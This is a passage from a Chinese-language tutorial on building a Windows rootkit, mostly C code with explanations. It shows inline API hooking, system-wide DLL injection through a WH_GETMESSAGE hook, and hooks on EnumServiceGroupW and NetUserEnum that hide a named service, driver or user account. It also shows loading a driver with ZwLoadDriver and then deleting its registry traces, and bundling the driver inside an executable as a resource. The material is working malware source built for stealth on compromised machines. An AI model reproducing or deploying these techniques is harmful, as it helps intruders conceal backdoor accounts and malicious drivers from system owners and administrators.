if ((lpHookDllInfo->NewBase=malloc
(lpHookDllInfo->ModuleInfo.SizeOfImage))==NULL)
{
//错误处理
}

//取得摸快地址
memcpy(lpHookDllInfo->NewBase,lpHookDllInfo->ModuleInfo.lpBaseOfDll,
lpHookDllInfo->ModuleInfo.SizeOfImage);
return TRUE;
}

DLLINFO是一个自定义结构，保存着模块的句柄、地址等。DLL加载后，模块信息也有了，下面使用GetProcAddress函数取HOOK函数地址，VirtualQuery函数获取虚拟内存信息，VirtualProtect函数改变页面属性，最后修改原函数的地址（GetProcAddress函数的返回值）使其指向我们的代码。

BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)
{
//取得需要HOOK函数的地址
if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo->hModule,Name))==NULL)
{
//错误处理
}

//获取虚拟内存信息
if (!VirtualQuery((LPVOID)OrigFunc,&mbi,
sizeof(MEMORY_BASIC_INFORMATION)))
{
//错误处理
}

//改变页面属性为读，写，执行
if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,
PAGE_EXECUTE_READWRITE,&Protect))
{
//错误处理
}

//HOOK
JmpCode.mov_eax=(BYTE)0xB8;
JmpCode.address=(LPVOID)OldFunc;
JmpCode.jmp_eax=(WORD)0xE0FF;

//计算原函数地址
*NewFunc=OrigFunc - (DWORD)lpHookDllInfo->ModuleInfo.lpBaseOfDll
+ (DWORD)lpHookDllInfo->NewBase;
//修改原函数地址，指向OldFunc
memcpy((LPVOID)OrigFunc,(UCHAR *)&JmpCode,sizeof(ASMJUMP));
return TRUE;
}

JmpCode是HOOK结构，保存着我们的函数的地址和JMP的跳转地址。有了上面这2个函数，就可以HOOK任何DLL中的函数了，例如枚举用户使用的是NetUserEnum函数，封装在Netapi32.dll中，HOOK例子如下：

DWORD WINAPI HookMain (LPVOID lpNot)
{
if (!(InitHookDll("netapi32.dll",&Netapi32)))
{
//错误处理
}

if (!(HookUserApi(&Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,
&NewNetUserEnum)))
{
//错误处理
}

......
}

HookMain函数需要在DllMain中调用，因为消息钩子加载DLL后，就应该立刻进行API HOOK。Netapi32是DLLINFO结构，保存着Netapi32.dll的信息；HookNetUserEnum是我们的函数，NewNetUserEnum是原函数地址。现在只差消息钩子函数了，安装/卸载消息钩子的函数需要引出，消息钩子的类型是WH_GETMESSAGE，钩子回调函数什么都不做，只是向下传递，因为我们的目的是使新进程加载DLL。

LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)
{
//向下传递
return CallNextHookEx(hHook,nCode,wParam,lParam);
}

extern "C" __declspec(dllexport) BOOL InstallHook()
{
//安装钩子
if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,
hInst,0))==NULL)
{
//错误处理
}
return TRUE;
}

extern "C" __declspec(dllexport) BOOL UninstallHook()
{
//卸载钩子
return UnhookWindowsHookEx(hHook);
}

hInst是在DllMain函数中保存的句柄，这是必须的，否则钩子不会安装成功。用户态的HOOK有很多种方法，用哪个随便你了，只要能HOOK API就行！下面介绍隐藏服务/驱动。


十、隐藏服务/驱动


枚举服务使用的是Advapi32.dll中的5个函数，这5个函数在每个Windows系统中的联系都不一样，所以需要HOOK所有函数。

EnumServicesStatusA()
EnumServicesStatusW()
EnumServicesStatusExA()
EnumServicesStatusExW()
EnumServiceGroupW()

这5个函数中，前4个是公开的，在MSDN中均有叙述，只有最后一个是MS没有公开的，而且只有Unicode版的函数。它的参数和其他4个函数基本一样，返回的结构是LPENUM_SERVICE_STATUS，这个结构也是EnumServicesStatus函数所返回的。5个函数中都有一个dwServiceType参数，表示服务类型，SERVICE_WIN32表示标准Win32服务，SERVICE_DRIVER表示设备驱动。lpServicesReturned为返回服务总数，隐藏的方法还是memcpy移动缓冲区。我们以EnumServiceGroupW函数为例，来看一下代码。

BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,……)
{
......
__asm
{
//参数入栈，注意顺序，要遵循__stdcall调用约定
push dwUnknown
push lpResumeHandle
push lpServicesReturned
push pcbBytesNeeded
push cbBufSize
push lpServices
push dwServiceState
push dwServiceType
push hSCManager
mov eax,NewEnumServiceGroupW //原函数地址放入EAX
call eax //请求
mov sRet,eax //返回值
}

if (sRet)
{
//处理服务和驱动
if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)
{
//指向服务列表缓冲区
lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;
for (DWORD n=0; n<*lpServicesReturned; n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,
strlen(ServiceNameAnsi))==0)
{
//向前移动服务列表缓冲区
memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),
((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));
(*lpServicesReturned)--; //总数要-1
n--;
}
}
}
}

return sRet;
}

上边的代码应该很容易理解了，我们隐藏服务/驱动，只需要判断服务名，所以dwServiceType就一块处理了，不必分开。另外请求原函数要遵循__stdcall调用约定，参数从右向左顺序入栈，最后将原函数地址放入EAX中CALL即可。


十一、隐藏用户


枚举用户有3种方法，其一是使用Netapi32.dll中的函数，另一个就是枚举注册表的SAM键了。隐藏注册表前边已经说过了，这里说一下Netapi32.dll导出的3个函数：

NetUserEnum()
NetGroupGetUsers()
NetQueryDisplayInformation()

第一个函数是枚举用户；第二个函数是获取组内的用户，但根据MSDN的描述，这个函数只适用于域控制器；第三个函数可以枚举用户、组和计算机。NetUserEnum函数支持8种枚举类型，每种类型返回的结构有些不同（其实只是结构成员的名字不同），需要分别处理，另外2个函数也有多种类型，但只有一种是枚举用户的，HOOK这个类型就可以了。3个函数的隐藏方法都是memcpy移动缓冲区，这里以NetUserEnum函数、枚举类型为0进行介绍，其他2个函数和它是一样的，只是结构体不同。

NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,……)
{
......
__asm
{
push resume_handle
push totalentries
push entriesread
push prefmaxlen
push bufptr
push filter
push level
push servername
mov eax,NewNetUserEnum
call eax
mov nStatus,eax
}

if ((nStatus==NERR_Success) && (bufptr!=NULL))
{
if (level==0) //处理枚举类型为0
{
//注意bufptr是2级指针
LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);
if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))
{
for (DWORD n=0;n<*entriesread;n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,
strlen(UserNameAnsi))==0)
{
//向前移动用户列表缓冲区
memcpy((lpUserInfo+n),(lpUserInfo+n+1),
((*entriesread)-n-1) * sizeof (USER_INFO_0));
(*entriesread)--; //总数--
n--;
}
}
}
}

......
}

return nStatus;
}

Level表示枚举类型，MSDN中有详细的定义。这3个函数都是Unicode版本，没有ANSI。


十二、驱动的加载与整合


加载驱动一般都是使用Servcie API，但Servcie API创建的服务会在注册表留下痕迹，这不是我们想要的，应该使用一种更好的方法。Native API有2个函数，可以实现驱动的动态加/卸载，不用写注册表，它们是ZwLoadDriver和ZwUnloadDriver函数。使用这2个函数加/卸载驱动，也需要写一下注册表，不过只是配合这2个函数，待驱动加/卸载完成后，就可以删除建立的注册表项，也就是说，我们建立的注册表项最多停留几秒。需要建立的注册表项就是一些服务的键值，比如Type（服务类型），Start（启动类型），ImagePath（驱动路径）等，完整的代码在DevelopmentSetRegistry函数中，就不帖出来了，只帖出动态加/卸载的函数代码。注：动态加/卸载驱动时，已经完成了设置注册表，动态加/卸载驱动后，还要删除注册表项，切记。

BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)
{
......
//加载ntdll.dll
if ((hModule=LoadLibrary("ntdll.dll"))==NULL)
{
//错误处理
}

//取得若干函数的地址
ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");
ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");
RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress
(hModule,"RtlInitUnicodeString");
RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress
(hModule,"RtlNtStatusToDosError");

swprintf(RegDriver,L"//Registry//Machine//System//CurrentControlSet//Services//%s",
DriverName);
RtlInitUnicodeString(&ModuleNameWide,RegDriver);

if (LoadBelong) //TRUE 加载
{
//加载驱动
ntStatus=ZwLoadDriver(&ModuleNameWide);
......
}

if (!LoadBelong) //FALSE卸载
{
//卸载驱动
ntStatus=ZwUnloadDriver(&ModuleNameWide);
......
}

return TRUE;
}

我们需要使用一个EXE来操作SYS，这样带着2个文件满处跑肯定不方便，所以有必要将其整合。整合的方法有很多，比如放在EXE结尾、将SYS转化为16进制代码，或者做成资源文件。相比之下，做成资源文件比较简单，也不会给EXE增加太多的体积，运行时一释放就OK了。释放资源需要一系列资源函数，最后使用fwrite将文件写入硬盘。我写了一个ReleaseResource函数，用于实现这个功能。

BOOL ReleaseResource (TCHAR *DriverPath)
{
......
//查找资源 SYS是资源名 SYSRES是资源类名
if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)
{
//错误处理
}

//加载资源
if ((hLoad=LoadResource(NULL,hFind))==NULL)
{
//错误处理
}

//取得资源大小
if ((Size=SizeofResource(NULL,hFind))==0)
{
//错误处理
}

//取得释放地址
if ((LockAddr=LockResource(hLoad))==NULL)
{
//错误处理
}

//打开文件
if ((fp=fopen(DriverPath,"wb"))==NULL)
{
//错误处理
}

//写入
fwrite(LockAddr,1,Size,fp);
......
}

有了这个函数，就可以只带着EXE满世界跑了。
文章写了这么长，是时候结束了，从上面的讲解中不难看出，我们只要对Windows内核有一点了解，就可以开发一个简单的Rootkit，光盘中包含了本文完整的源代码，如对本文有任何问题，欢迎发邮件给我 dahubaobao@eviloctal.com。

十三、附录下载

FileInfo(枚举文件目录结构)
包含隐藏服务/驱动、用户以及用户态HOOK的DLL程序
包含隐藏进程、文件/目录、端口、注册表和内核模块的SYS以及加载程序